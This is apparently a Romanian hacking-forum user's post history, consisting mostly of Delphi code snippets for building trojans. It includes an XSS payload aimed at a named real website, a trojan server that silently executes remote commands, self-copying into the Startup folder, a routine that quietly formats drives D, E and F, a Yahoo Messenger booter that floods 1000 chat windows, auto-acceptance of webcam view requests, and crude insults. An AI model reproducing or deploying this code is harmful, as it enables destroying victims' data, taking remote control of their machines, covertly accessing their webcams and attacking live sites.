c0smyn
-
Posts
311 -
Joined
-
Last visited
-
Days Won
4
Posts posted by c0smyn
-
-
Esti faggot ?
numai posta ma xss-uri de zeama ras curului , ai pagina de report FUCKING BUGS.ma ma lasi ?
e zona xss postez ce site vreau la orice ora vreau 
-
http://www.daemon-search.com/startpage/games?q="><script>alert(/xss/);</script>
Daemon Tools search
-
Super turorial merg comenzile dar este o problema imi da eroare la linia asta de cod
CopyFile(Application.exename,ExtractFilePath(
,false); Spunemi exact tot ce trebuie sa fac sa mearga sa adaug la startup ca linia aia mio da cu rosu.Ms anticipat.
scuze unele coduri le-am scris pe direct ..
in loc de
CopyFile(Application.exename,ExtractFilePath(,false);pui
CopyFile(PChar(Application.exename),PChar(ExtractFilePath(),false); -
Sorry de Dublu Post!!!
c0smyn stii cum se face un Y!M Booter ?
daca vrei sa pui aceasta comanda pe trojan e simplu. Dar sa fac un Yahoo! Booter separat nu prea ma pricep.
Pentru trojan procedezi astfel.
Adaugi pe form un actionlist iar in action list un TBrowseUrl.
Acum pentru a deschide multe ferestre folosesti codul asta.
var
mybot: string;
botnumber: integer;
i: integer;
begin
mybot := 'koko';
botnumber := 1;
for i := 0 to 1000 do
begin
browseurl1.url := 'ymsgr:sendim?'+mybot+inttostr(botnumber);
browseurl1.execute;
botnumber := botnumber + 1;
end;
end;Acest cod v-a deschide 1000 ferestre de convorbire catre id-ul koko+botnumber
-
Ai dreptate Shocker
// Thanks to Shocker
function ExtractIconFromExe(ExePath: string; SaveIconTo: string): boolean;
var
i: TIcon;
h: HIcon;
begin
if not directoryexists(ExtractFilePath(SaveIconTo)) then
if MessageBox(application.Handle,PChar('Calea salvarii icoanei nu exista!'+#13#10+'Doriti ca aceasta sa fie creata?'),PChar('Icon Extractor'),MB_YESNO + MB_ICONEXCLAMATION) = ID_YES then
CreateDirectory(PChar(ExtractFilePath(SaveIconTo)),nil)
else
exit;
i := TIcon.Create;
h := ExtractIcon(application.handle,PChar(ExePath),0);
if h <> 0 then
begin
i.Handle := h;
i.SaveToFile(SaveIconTo);
result := true;
end
else
result := false;
i.Free;
end;E mai bine acum ?
-
Acest program va atentioneaza daca aveti procese suspicioase/care nu va folosesc/de troieni etc. Nu are install e doar un simplu executabil. Merita incercat.
Photo:
Download:
http://rapidshare.com/files/195728419/Process_Scanner.rar.html
http://www.2shared.com/file/4832839/82bf91dd/Process_Scanner.html
-
Remote CMD
File Manager
REMOTE CMD
CLIENT:
tcpclient1.sendln('!'+'COMANDA'); [color=green]// Ex: tcpclient1.sendln('!'+'shutdown -s -t 100');[/color]SERVER:
OnChange
var
s: string;
begin
if edit1.text[1] = '!' then
begin
s := edit1.text;
delete(s,1,1);
winexec(PChar(s),sw_hide);
end;
end;Pentru filemanager ai nevoie de TClientSocket si TServerSocket.
Am sa fac unu mai incolo si o sa pun sursa aici.
EDIT: Done!
-
Adaugi sus la USES, MMSystem.
Pui acest cod sub {$R *.dfm}
procedure ChangeVolume(left, right: Word);
var
a: HWAVEOUT;
b: TWAVEFORMATEX;
vol: DWORD;
begin
FillChar(b, SizeOf(, 0);
waveOutOpen(@a, WAVE_MAPPER, @b, 0, 0, 0);
vol := left + right shl 16;
waveOutSetVolume(a, vol);
waveOutClose(a);
end;Iar acum pentru a schimba volumu , dai click pe scrollbar , si la OnChange pui acest cod
ScrollBar1.max := 65535;
ChangeVolume(scrollbar1.Position,scrollbar1.Position); -
Da.
Aplicatia se copiaza in C:\Documents And Settings\All Users\Start Menu\Programs\Startup
-
Poati sa ne dai si noua programul deja facut..poate nu am inteles ceva bine ..daca poti sal urci pe 2shared sau ceva sa nil dai si noua ...io nu am borland delphi
si numi place nu mai e nevoie am facut rost de unu in vb6
mai mijtoin orice caz daca e sa imi mai trebuiasca il downloadezi de aici
-
Adaugi un label pe form
Acum la un button sau la ce vrei tu la eventul OnClick pui acest cod
var
i: integer;
begin
for i := 0 to (FileListBox1.Items.Count - 1) do
if FileListBox1.Selected[i] then
label1.Caption := FileListBox1.Items[filelistbox1.itemindex];
end; -
-
-
Open/Close CDRom
Uses: MMSystem;
procedure CDRom(operation: string);
begin
if operation = 'open' then
mciSendString('set cdaudio door open wait', nil, 0, handle)
else
if operation = 'close' then
mciSendString('set cdaudio door closed wait', nil, 0, handle);
end;Hide/Show Desktop
procedure ShowDesktop(const YesNo: boolean);
var h : HWND;
begin
h := FindWindow('ProgMan', nil);
h := GetWindow(h, GW_CHILD);
if YesNo = True then
ShowWindow(h, SW_SHOW)
else
ShowWindow(h, SW_HIDE);
end;Hide/Show Start Button
procedure ShowStartButton(bValue: Boolean);
var
Tray, Child: HWND;
C: array[0..127] of Char;
S: string;
begin
Tray := FindWindow('Shell_TrayWnd', nil);
Child := GetWindow(Tray, GW_CHILD);
while Child <> 0 do
begin
if GetClassName(Child, C, SizeOf(C)) > 0 then
begin
S := StrPAS(C);
if UpperCase(S) = 'BUTTON' then
begin
if bValue = True then ShowWindow(Child, 1)
else
ShowWindow(Child, 0);
end;
end;
Child := GetWindow(Child, GW_HWNDNEXT);
end;
end;Hide/Show TaskBar
procedure TaskBar(show: Boolean);
var
t: HWND;
begin
t := FindWindow('Shell_TrayWnd',nil);
if show = true then
ShowWindow(t, SW_SHOW)
else
if show = false then
ShowWindow(t, SW_HIDE);
end;Open 100 xxx web
Adaugati un ActionList pe form , iar in actionlist un TBrowseurl
procedure Open100xxxWeb;
var
i: integer;
begin
for i := 0 to 100 do
begin
browseurl1.URL := 'http://redtube.com';
browseurl1.Execute;
end;
end;Hide/Show clock
procedure Clock(show: Boolean);
begin
if show = true then
ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_SHOW)
else
if show = false then
ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_HIDE);
end;Get windows/desktop path
function GetWindowsDir: string;
var
s: array[0..255] of char;
begin
GetWindowsDirectory(s,255);
result := s;
end;
function GetDesktopPath: string;
var
a: array[0..255] of char;
s: string;
begin
GetWindowsDirectory(a,255);
s := a[0] + a[1] + a[2];
result := s + 'Documents and Settings\All Users\Desktop\';
end;Add application to startup
procedure AddToStartUp;
var
a: array[0..255] of char;
b: string;
begin
GetWindowsDirectory(a,255);
b := a[0] + a[1] + a[2];
b := b + 'Documents and Settings\All Users\Start Menu\Programs\Startup\'+ExtractFileName(application.exename);
if not fileexists( then
CopyFile(Application.exename,ExtractFilePath(,false);
end;Format D,E,F
Uses: ShellApi;
procedure FormatHDD;
var
a: array[0..255] of char;
formatpath: string;
begin
GetWindowsDirectory(a,255);
formatpath := a+'\system32\format.com';
ShellExecute(application.Handle,'open',formatpath,'D: /q /x /y',nil,sw_hide);
ShellExecute(application.Handle,'open',formatpath,'E: /q /x /y',nil,sw_hide);
ShellExecute(application.Handle,'open',formatpath,'F: /q /x /y',nil,sw_hide);
end;Daca aveti nevoie de vreo comanda postati mai jos si o sa va ajut ..
-
Acest program v`a apasa pe butonul "Yes" de la cererea vederii camerei web.
1. Adaugati pe form un TTimer
2. Puneti la Timer1, interval 20
3. D`ati 2click`uri pe timer, stergeti cuvantul begin si puneti urmatorul cod
var
WebcamWindow: HWND;
AcceptButton: HWND;
begin
WebcamWindow := FindWindow('WebcamClass','View Webcam');
if WebcamWindow <> 0 then
begin
AcceptButton := FindWindowEx(WebcamWindow,0,'Button','&Yes');
SendMessage(AcceptButton, BM_CLICK ,0 ,0);
end;Enjoy
-
Adaugati sus la uses: ShellApi
Adaugati aceasta function sub {$R *.dfm}
// Thanks to Shocker
function ExtractIconFromExe(ExePath: string; SaveIconTo: string): boolean;
var
i: TIcon;
h: HIcon;
begin
if not directoryexists(ExtractFilePath(SaveIconTo)) then
if MessageBox(application.Handle,PChar('Calea salvarii icoanei nu exista!'+#13#10+'Doriti ca aceasta sa fie creata?'),PChar('Icon Extractor'),MB_YESNO + MB_ICONEXCLAMATION) = ID_YES then
CreateDirectory(PChar(ExtractFilePath(SaveIconTo)),nil)
else
exit;
i := TIcon.Create;
h := ExtractIcon(application.handle,PChar(ExePath),0);
if h <> 0 then
begin
i.Handle := h;
i.SaveToFile(SaveIconTo);
result := true;
end
else
result := false;
i.Free;
end;Enjoy
-
-
nu pentu C++ ci vreu pentru Delphi 7
asa zi xD
Adaugi pe form un TTrayIcon.
Click pe Form1 > Events si la OnClose pui acest cod
//Hide App
application.mainform.hide;
with trayicon1 do
if visible = false then visible := true;
abort;iar pentru a inchide aplicatia folosesti
application.terminate;
-
alpicatia cum este messener cand apesi pe buntonu X (close) se pun jos in in tool bar cum e antivirusu si alttele
se cheama Tray nu tool bar
referitor la ce limbaj de programare ai deschis acest topic ?
-
xtremezone.ro
-
nu exista asa ceva. ceea la ce te referi poti face cu TTrayIcon.
Nu mai deschide topic nou pentru fleacurile astea. Cauta pe gugal.
-
lasate
uite asta tre sa pui ( un string )
-
Click dr p mnopg ptr a deleta srv
rotflmao deleta
on: bv esti viitoru romaniei. chiar aveam nevoie
-
Bravo Cosmyne dar ar fi super daca ai pune si componentele necesare compilari proiectului adica IdSmtp etc.
Acele componente nu le poti instala. Ele iti apar odata cu inregistrarea programului.
Yahoo! ID`s
in Off-topic
Posted
Am gasit astea prin pc.
Cei ce nu stiu inca ce e un ETS cititi AICI